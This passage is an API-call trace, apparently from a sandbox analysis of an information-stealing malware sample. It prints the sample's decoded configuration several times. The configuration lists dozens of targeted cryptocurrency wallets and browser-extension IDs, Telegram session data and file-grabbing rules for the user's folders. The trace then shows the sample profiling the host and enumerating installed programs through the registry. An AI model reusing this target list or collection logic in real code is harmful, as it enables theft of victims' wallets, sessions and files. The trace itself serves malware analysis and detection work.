Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3595 [0261.095] LocalAlloc (uFlags=0x40, uBytes=0x1c16) returned 0x6bcfe0 [0261.095] StrStrW (lpFirst="Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="|") returned="|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0261.095] lstrlenW (lpString="Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3595 [0261.095] LocalAlloc (uFlags=0x40, uBytes=0x1c96) returned 0x6ef5a0 [0261.096] StrCpyW (in: psz1=0x6bcfe0, psz2="Installed applications:\n" | out: psz1="Installed applications:\n") returned="Installed applications:\n" [0261.097] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.097] LocalAlloc (uFlags=0x40, uBytes=0x5000) returned 0x6ef5a0 [0261.097] StrCpyW (in: psz1=0x6ef5a0, psz2="System Information: \n" | out: psz1="System Information: \n") returned="System Information: \n" [0261.097] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x6b6a70 [0261.097] LocalAlloc (uFlags=0x40, uBytes=0x400) returned 0x6907f0 [0261.097] GetUserDefaultLCID () returned 0x409 [0261.097] GetLocaleInfoW (in: Locale=0x409, LCType=0x1001, lpLCData=0x6b6a70, cchData=260 | out: lpLCData="English") returned 8 [0261.098] wsprintfW (in: param_1=0x6907f0, param_2="\x09- Locale: %s\n" | out: param_1="\x09- Locale: English\n") returned 19 [0261.098] lstrlenW (lpString="\x09- Locale: English\n") returned 19 [0261.098] lstrlenW (lpString="System Information: \n") returned 21 [0261.098] LocalAlloc (uFlags=0x40, uBytes=0x150) returned 0x6b6ea8 [0261.099] LocalFree (hMem=0x6b6a70) returned 0x0 [0261.100] LocalFree (hMem=0x6907f0) returned 0x0 [0261.100] GetTimeZoneInformation (in: lpTimeZoneInformation=0x24fa34 | out: lpTimeZoneInformation=0x24fa34) returned 0x2 [0261.615] LocalAlloc (uFlags=0x40, uBytes=0x400) returned 0x690af8 [0261.615] wsprintfW (in: param_1=0x690af8, param_2="\x09- Time zone: %c%ld minutes from GMT\n" | out: param_1="\x09- Time zone: +60 minutes from GMT\n") returned 35 [0261.615] lstrlenW (lpString="\x09- Time zone: +60 minutes from GMT\n") returned 35 [0261.615] lstrlenW (lpString="System Information: \n\x09- Locale: English\n") returned 40 [0261.615] LocalAlloc (uFlags=0x40, uBytes=0x196) returned 0x6b6a70 [0261.615] LocalFree (hMem=0x690af8) returned 0x0 [0261.615] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x692790 [0261.615] LocalAlloc (uFlags=0x40, uBytes=0x800) returned 0x690af8 [0261.615] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x24fadc | out: phkResult=0x24fadc*=0x1c) returned 0x0 [0261.616] RegQueryValueExW (in: hKey=0x1c, lpValueName="ProductName", lpReserved=0x0, lpType=0x0, lpData=0x692790, lpcbData=0x24fad8*=0x104 | out: lpType=0x0, lpData=0x692790*=0x57, lpcbData=0x24fad8*=0x2e) returned 0x0 [0261.616] RegCloseKey (hKey=0x1c) returned 0x0 [0261.616] lstrlenW (lpString="Windows 7 Professional") returned 22 [0261.616] wsprintfW (in: param_1=0x690af8, param_2="\x09- OS: %s\n" | out: param_1="\x09- OS: Windows 7 Professional\n") returned 30 [0261.616] lstrlenW (lpString="\x09- OS: Windows 7 Professional\n") returned 30 [0261.616] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n") returned 75 [0261.616] LocalAlloc (uFlags=0x40, uBytes=0x1d2) returned 0x6bec00 [0261.616] LocalFree (hMem=0x692790) returned 0x0 [0261.617] LocalFree (hMem=0x690af8) returned 0x0 [0261.617] GetSystemWow64DirectoryW (in: lpBuffer=0x0, uSize=0x0 | out: lpBuffer=0x0) returned 0x14 [0261.617] LocalAlloc (uFlags=0x40, uBytes=0x400) returned 0x690af8 [0261.617] wsprintfW (in: param_1=0x690af8, param_2="\x09- Architecture: x%d\n" | out: param_1="\x09- Architecture: x64\n") returned 21 [0261.617] lstrlenW (lpString="\x09- Architecture: x64\n") returned 21 [0261.617] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n") returned 105 [0261.617] LocalAlloc (uFlags=0x40, uBytes=0x1fc) returned 0x6b6a70 [0261.617] LocalFree (hMem=0x690af8) returned 0x0 [0261.617] LocalAlloc (uFlags=0x40, uBytes=0x800) returned 0x690af8 [0261.617] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x6e08b0 [0261.617] lstrlenA (lpString="Intel(R) Core(TMø\ni") returned 19 [0261.617] lstrcpynA (in: lpString1=0x6e08b0, lpString2="Intel(R) Core(TMø\ni", iMaxLength=19 | out: lpString1="Intel(R) Core(TMø\n") returned="Intel(R) Core(TMø\n" [0261.617] lstrlenA (lpString=") i5-7500 CPU @ ø\ni") returned 19 [0261.617] lstrcpynA (in: lpString1=0x6e08c0, lpString2=") i5-7500 CPU @ ø\ni", iMaxLength=19 | out: lpString1=") i5-7500 CPU @ ø\n") returned=") i5-7500 CPU @ ø\n" [0261.618] lstrlenA (lpString="3.40GHz") returned 7 [0261.618] lstrcpynA (in: lpString1=0x6e08d0, lpString2="3.40GHz", iMaxLength=7 | out: lpString1="3.40GH") returned="3.40GH" [0261.618] GetSystemInfo (in: lpSystemInfo=0x24faa4 | out: lpSystemInfo=0x24faa4*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0261.618] lstrlenA (lpString="Intel(R) Core(TM) i5-7500 CPU @ 3.40GH") returned 38 [0261.618] LocalAlloc (uFlags=0x40, uBytes=0x5c) returned 0x6e9748 [0261.618] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x6e08b0, cbMultiByte=-1, lpWideCharStr=0x6e9748, cchWideChar=38 | out: lpWideCharStr="Intel(R) Core(TM) i5-7500 CPU @ 3.40GH") returned 0 [0261.618] wsprintfW (in: param_1=0x690af8, param_2="\x09- CPU: %s (%d cores)\n" | out: param_1="\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n") returned 57 [0261.618] lstrlenW (lpString="\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n") returned 57 [0261.618] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n") returned 126 [0261.618] LocalAlloc (uFlags=0x40, uBytes=0x26e) returned 0x6bec00 [0261.618] LocalFree (hMem=0x690af8) returned 0x0 [0261.619] LocalFree (hMem=0x6e9748) returned 0x0 [0261.619] LocalFree (hMem=0x6e08b0) returned 0x0 [0261.619] GlobalMemoryStatusEx (in: lpBuffer=0x24faa0 | out: lpBuffer=0x24faa0) returned 1 [0261.619] LocalAlloc (uFlags=0x40, uBytes=0x400) returned 0x690af8 [0261.619] wsprintfW (in: param_1=0x690af8, param_2="\x09- RAM: %d MB\n" | out: param_1="\x09- RAM: 4096 MB\n") returned 16 [0261.619] lstrlenW (lpString="\x09- RAM: 4096 MB\n") returned 16 [0261.619] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n") returned 183 [0261.619] LocalAlloc (uFlags=0x40, uBytes=0x28e) returned 0x690f00 [0261.619] LocalFree (hMem=0x690af8) returned 0x0 [0261.620] LocalAlloc (uFlags=0x40, uBytes=0x400) returned 0x690af8 [0261.620] GetSystemMetrics (nIndex=1) returned 900 [0261.620] GetSystemMetrics (nIndex=0) returned 1440 [0261.620] wsprintfW (in: param_1=0x690af8, param_2="\x09- Display size: %dx%d\n" | out: param_1="\x09- Display size: 1440x900\n") returned 26 [0261.620] lstrlenW (lpString="\x09- Display size: 1440x900\n") returned 26 [0261.620] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n") returned 199 [0261.620] LocalAlloc (uFlags=0x40, uBytes=0x2c2) returned 0x6bec00 [0261.620] LocalFree (hMem=0x690af8) returned 0x0 [0261.620] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.620] EnumDisplayDevicesW (in: lpDevice=0x0, iDevNum=0x0, lpDisplayDevice=0x24f798, dwFlags=0x0 | out: lpDisplayDevice=0x24f798) returned 1 [0261.628] LocalAlloc (uFlags=0x40, uBytes=0x200) returned 0x6b6a70 [0261.628] wsprintfW (in: param_1=0x6b6a70, param_2="\x09\x09%d) %s\n" | out: param_1="\x09\x090) Standard VGA Graphics Adapter\n") returned 35 [0261.628] lstrlenW (lpString="\x09\x09%d) %s\n") returned 9 [0261.628] wsprintfW (in: param_1=0x6ef5a0, param_2="\x09- Display Devices:\n%s\n" | out: param_1="\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\n") returned 56 [0261.628] lstrlenW (lpString="\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\n") returned 56 [0261.628] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n") returned 225 [0261.628] LocalAlloc (uFlags=0x40, uBytes=0x332) returned 0x690af8 [0261.629] LocalFree (hMem=0x6b6a70) returned 0x0 [0261.629] EnumDisplayDevicesW (in: lpDevice=0x0, iDevNum=0x0, lpDisplayDevice=0x24f798, dwFlags=0x0 | out: lpDisplayDevice=0x24f798) returned 1 [0261.630] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.630] lstrlenW (lpString="Installed applications:\n") returned 24 [0261.630] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\n") returned 281 [0261.630] LocalAlloc (uFlags=0x40, uBytes=0x362) returned 0x690e38 [0261.631] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", ulOptions=0x0, samDesired=0x20119, phkResult=0x24fad8 | out: phkResult=0x24fad8*=0x1c) returned 0x0 [0261.631] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.631] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x0, lpName=0x6bec00, lpcchName=0x24fac0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="AddressBook", lpcchName=0x24fac0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.632] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="AddressBook", ulOptions=0x0, samDesired=0x20119, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.632] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.632] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.632] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac8*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac8*=0x1000) returned 0x2 [0261.632] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.633] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.633] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.633] LocalFree (hMem=0x6bec00) returned 0x0 [0261.633] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.633] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x1, lpName=0x6bec00, lpcchName=0x24fac0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Connection Manager", lpcchName=0x24fac0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.633] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="Connection Manager", ulOptions=0x0, samDesired=0x20119, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.634] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.634] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.634] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac8*=0x1000 